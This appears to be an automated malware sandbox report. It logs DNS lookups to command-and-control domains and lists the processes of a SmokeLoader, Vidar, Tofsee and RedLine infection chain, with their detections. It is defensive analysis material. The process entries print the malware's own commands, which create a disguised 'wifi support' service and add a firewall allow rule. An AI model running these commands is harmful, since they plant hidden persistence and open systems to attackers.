Jan 14, 2022 09:25:35.761554003 CET	8.8.8.8	192.168.2.4	0xaa98	No error (0)	microsoft-com.mail.protection.outlook.com	52.101.24.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:35.761554003 CET	8.8.8.8	192.168.2.4	0xaa98	No error (0)	microsoft-com.mail.protection.outlook.com	104.47.53.36	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:35.761554003 CET	8.8.8.8	192.168.2.4	0xaa98	No error (0)	microsoft-com.mail.protection.outlook.com	104.47.54.36	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:38.421423912 CET	8.8.8.8	192.168.2.4	0x571	No error (0)	patmushta.info	185.188.183.61	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:38.519500017 CET	8.8.8.8	192.168.2.4	0xe74c	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:38.704005003 CET	8.8.8.8	192.168.2.4	0x7390	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:38.875216007 CET	8.8.8.8	192.168.2.4	0x8cdc	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:39.040910959 CET	8.8.8.8	192.168.2.4	0xffa9	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:39.209981918 CET	8.8.8.8	192.168.2.4	0xfc72	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:39.377321959 CET	8.8.8.8	192.168.2.4	0x3b0	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:39.547108889 CET	8.8.8.8	192.168.2.4	0x920	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:39.711781025 CET	8.8.8.8	192.168.2.4	0x24e6	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:39.924561024 CET	8.8.8.8	192.168.2.4	0x4803	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:40.088764906 CET	8.8.8.8	192.168.2.4	0x5683	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:40.256330013 CET	8.8.8.8	192.168.2.4	0xf82a	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:40.428683043 CET	8.8.8.8	192.168.2.4	0x3a0d	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:40.615529060 CET	8.8.8.8	192.168.2.4	0x19d5	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:41.087089062 CET	8.8.8.8	192.168.2.4	0x2a54	No error (0)	data-host-coin-8.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:44.236279964 CET	8.8.8.8	192.168.2.4	0xb533	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:44.412606001 CET	8.8.8.8	192.168.2.4	0xf8e5	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:44.609112024 CET	8.8.8.8	192.168.2.4	0x709a	No error (0)	goo.su	172.67.139.105	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:44.609112024 CET	8.8.8.8	192.168.2.4	0x709a	No error (0)	goo.su	104.21.38.221	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:45.059613943 CET	8.8.8.8	192.168.2.4	0x2e9c	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:45.226744890 CET	8.8.8.8	192.168.2.4	0x4d69	No error (0)	transfer.sh	144.76.136.153	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:45.376952887 CET	8.8.8.8	192.168.2.4	0x7264	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:45.545367956 CET	8.8.8.8	192.168.2.4	0x4cdb	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:45.710396051 CET	8.8.8.8	192.168.2.4	0xec9a	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:45.907784939 CET	8.8.8.8	192.168.2.4	0x4146	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:46.080140114 CET	8.8.8.8	192.168.2.4	0x3909	No error (0)	data-host-coin-8.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:48.871977091 CET	8.8.8.8	192.168.2.4	0x387	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:49.104904890 CET	8.8.8.8	192.168.2.4	0xe7dc	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:49.450273991 CET	8.8.8.8	192.168.2.4	0x9abc	No error (0)	a0621298.xsph.ru	141.8.194.74	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:50.677923918 CET	8.8.8.8	192.168.2.4	0x6f10	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:50.844213963 CET	8.8.8.8	192.168.2.4	0x450b	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:51.036268950 CET	8.8.8.8	192.168.2.4	0xc9d6	No error (0)	transfer.sh	144.76.136.153	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:55.984693050 CET	8.8.8.8	192.168.2.4	0x9c3	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:56.155317068 CET	8.8.8.8	192.168.2.4	0xbfd2	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:56.321657896 CET	8.8.8.8	192.168.2.4	0x9b36	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:56.513890982 CET	8.8.8.8	192.168.2.4	0xa220	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:25:56.740719080 CET	8.8.8.8	192.168.2.4	0xe9f1	No error (0)	transfer.sh	144.76.136.153	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:02.287682056 CET	8.8.8.8	192.168.2.4	0x327	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:02.458193064 CET	8.8.8.8	192.168.2.4	0xd067	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:02.633424044 CET	8.8.8.8	192.168.2.4	0x6ba5	No error (0)	data-host-coin-8.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:07.274209023 CET	8.8.8.8	192.168.2.4	0x56c5	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:07.467144966 CET	8.8.8.8	192.168.2.4	0xd10b	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:07.820511103 CET	8.8.8.8	192.168.2.4	0x33c6	No error (0)	data-host-coin-8.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:10.056818962 CET	8.8.8.8	192.168.2.4	0x8385	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:10.230015039 CET	8.8.8.8	192.168.2.4	0xcd06	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:10.449105978 CET	8.8.8.8	192.168.2.4	0x5a80	No error (0)	a0621298.xsph.ru	141.8.194.74	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:10.800724030 CET	8.8.8.8	192.168.2.4	0x6be3	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:10.973896980 CET	8.8.8.8	192.168.2.4	0x21f	No error (0)	host-data-coin-11.com	8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:18.754103899 CET	8.8.8.8	192.168.2.4	0xe7c1	No error (0)	patmushta.info	185.188.183.61	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:25.962934971 CET	8.8.8.8	192.168.2.4	0x8983	No error (0)	microsoft-com.mail.protection.outlook.com	40.93.207.1	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:25.962934971 CET	8.8.8.8	192.168.2.4	0x8983	No error (0)	microsoft-com.mail.protection.outlook.com	52.101.24.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:25.962934971 CET	8.8.8.8	192.168.2.4	0x8983	No error (0)	microsoft-com.mail.protection.outlook.com	40.93.207.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:25.962934971 CET	8.8.8.8	192.168.2.4	0x8983	No error (0)	microsoft-com.mail.protection.outlook.com	104.47.53.36	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:25.962934971 CET	8.8.8.8	192.168.2.4	0x8983	No error (0)	microsoft-com.mail.protection.outlook.com	104.47.54.36	A (IP address)	IN (0x0001)
Jan 14, 2022 09:26:25.962934971 CET	8.8.8.8	192.168.2.4	0x8983	No error (0)	microsoft-com.mail.protection.outlook.com	40.93.212.0	A (IP address)	IN (0x0001)
Jan 14, 2022 09:27:08.820175886 CET	8.8.8.8	192.168.2.4	0x62dd	No error (0)	patmushta.info	185.188.183.61	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

rftojqy.com

host-data-coin-11.com

oeicpl.com

gmlcwn.org

pmxge.org

klnnrs.org

sqgycmxrcw.org

ordgyi.com

gdpbobblv.org

data-host-coin-8.com

ojnph.org

qnhvcpx.org

ukmdaxlu.com

cocugqsn.org

bcdqnjq.com

unicupload.top

quobomy.org

hfkcwyd.com

lhmfcrnoc.net

rwnoc.com

hyhfejnsaf.org

yupkrg.org

xasgjbpj.net

dlsrcuywsx.net

185.7.214.171:8080

ygpvsdtxwa.net

ctudyypa.org

fnqfdlb.org

qernbnk.net

lymetcvj.org

dwyid.net

rtyuw.net

iymvh.com

aujnrph.com

qjfqvve.com

betkhbcokn.net

buvim.org

tuwgresxff.net

esfdrx.org

gimbqwejt.org

vqkgjg.net

qfojwny.com

jypmxggbe.net

bopkt.com

rcosdqvkc.net

vpvuvi.org

xchjuwapl.net

kcgcly.org

xhcmjwqukh.net

tbwkdtvra.com

unlkmoivsp.org

buyqsohhho.net

lmtmt.net

a0621298.xsph.ru

guadmgqcy.com

aaxrubcof.net

uswhy.com

vqmqnwq.com

ulfdnrx.net

vyvnhyowq.net

185.215.113.35

mpjbq.net

smapchtl.com

185.163.204.22

jeacjnamm.com

awifxkoma.net

185.163.204.24

aoummij.com

omefw.net

bgprljhr.com

lptdnkjgh.net

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: tijXCZsbGe.exe PID: 6264 Parent PID: 5204

General

Start time:	09:24:18
Start date:	14/01/2022
Path:	C:\Users\user\Desktop\tijXCZsbGe.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\tijXCZsbGe.exe"
Imagebase:	0x400000
File size:	320512 bytes
MD5 hash:	888928D26BD03678AFD9FED0D92F6FC9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: tijXCZsbGe.exe PID: 864 Parent PID: 6264

General

Start time:	09:24:19
Start date:	14/01/2022
Path:	C:\Users\user\Desktop\tijXCZsbGe.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\tijXCZsbGe.exe"
Imagebase:	0x400000
File size:	320512 bytes
MD5 hash:	888928D26BD03678AFD9FED0D92F6FC9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000001.00000002.719913794.0000000000591000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000001.00000002.719885078.0000000000570000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3424 Parent PID: 864

General

Start time:	09:24:26
Start date:	14/01/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff6fee60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000005.00000000.708378047.0000000004DF1000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 2192 Parent PID: 568

General

Start time:	09:24:27
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 3848 Parent PID: 568

General

Start time:	09:24:46
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff732050000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rifsswe PID: 6952 Parent PID: 968

General

Start time:	09:24:58
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Roaming\rifsswe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\rifsswe
Imagebase:	0x400000
File size:	320512 bytes
MD5 hash:	888928D26BD03678AFD9FED0D92F6FC9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: rifsswe PID: 7088 Parent PID: 6952

General

Start time:	09:24:59
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Roaming\rifsswe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\rifsswe
Imagebase:	0x400000
File size:	320512 bytes
MD5 hash:	888928D26BD03678AFD9FED0D92F6FC9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000A.00000002.767900095.0000000000640000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000A.00000002.768056484.00000000022F1000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: 9334.exe PID: 7100 Parent PID: 3424

General

Start time:	09:25:02
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\9334.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\9334.exe
Imagebase:	0x400000
File size:	301056 bytes
MD5 hash:	277680BD3182EB0940BC356FF4712BEF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 46%, Metadefender, Browse Detection: 77%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: svchost.exe PID: 7020 Parent PID: 568

General

Start time:	09:25:02
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 7128 Parent PID: 568

General

Start time:	09:25:05
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 4972 Parent PID: 7128

General

Start time:	09:25:05
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 7100 -ip 7100
Imagebase:	0xe90000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 6552 Parent PID: 7100

General

Start time:	09:25:06
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7100 -s 264
Imagebase:	0xe90000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: DB31.exe PID: 6560 Parent PID: 3424

General

Start time:	09:25:07
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\DB31.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\DB31.exe
Imagebase:	0x400000
File size:	322560 bytes
MD5 hash:	6009BCB680BE6C0F656AA157E56423DC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000002.780534031.0000000000712000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000010.00000002.780534031.0000000000712000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: E748.exe PID: 5476 Parent PID: 3424

General

Start time:	09:25:11
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\E748.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\E748.exe
Imagebase:	0x400000
File size:	319488 bytes
MD5 hash:	7C64BD730B6C9565F287278834A33618
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000011.00000003.783551055.0000000000650000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: F65C.exe PID: 2980 Parent PID: 3424

General

Start time:	09:25:14
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\F65C.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\F65C.exe
Imagebase:	0xab0000
File size:	537088 bytes
MD5 hash:	D7DF01D8158BFADDC8BA48390E52F355
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000012.00000002.825741767.0000000003F01000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 6020 Parent PID: 5476

General

Start time:	09:25:16
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xzxafeeu\
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 4460 Parent PID: 6020

General

Start time:	09:25:16
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5984 Parent PID: 5476

General

Start time:	09:25:17
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\gecrjwsv.exe" C:\Windows\SysWOW64\xzxafeeu\
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 4728 Parent PID: 5984

General

Start time:	09:25:17
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 2972 Parent PID: 5476

General

Start time:	09:25:17
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\sc.exe" create xzxafeeu binPath= "C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe /d\"C:\Users\user\AppData\Local\Temp\E748.exe\"" type= own start= auto DisplayName= "wifi support
Imagebase:	0xd10000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 5572 Parent PID: 2972

General

Start time:	09:25:18
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 6584 Parent PID: 5476

General

Start time:	09:25:19
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\sc.exe" description xzxafeeu "wifi internet conection
Imagebase:	0xd10000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 7024 Parent PID: 6584

General

Start time:	09:25:19
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 5016 Parent PID: 568

General

Start time:	09:25:19
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 2848 Parent PID: 5476

General

Start time:	09:25:20
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\sc.exe" start xzxafeeu
Imagebase:	0xd10000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 1004 Parent PID: 2848

General

Start time:	09:25:20
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: gecrjwsv.exe PID: 2860 Parent PID: 568

General

Start time:	09:25:21
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe /d"C:\Users\user\AppData\Local\Temp\E748.exe"
Imagebase:	0x400000
File size:	11673600 bytes
MD5 hash:	6DD4312F6A305B72C1A1948F27068190
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000020.00000002.803587070.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000020.00000002.803962316.00000000005A0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000020.00000003.801375609.00000000005A0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000020.00000002.803904384.0000000000580000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: netsh.exe PID: 6720 Parent PID: 5476

General

Start time:	09:25:21
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
Imagebase:	0x360000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 6732 Parent PID: 2860

General

Start time:	09:25:22
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	svchost.exe
Imagebase:	0x12f0000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000022.00000002.949927934.00000000005D0000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: F65C.exe PID: 5348 Parent PID: 2980

General

Start time:	09:25:24
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\F65C.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\F65C.exe
Imagebase:	0x4d0000
File size:	537088 bytes
MD5 hash:	D7DF01D8158BFADDC8BA48390E52F355
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
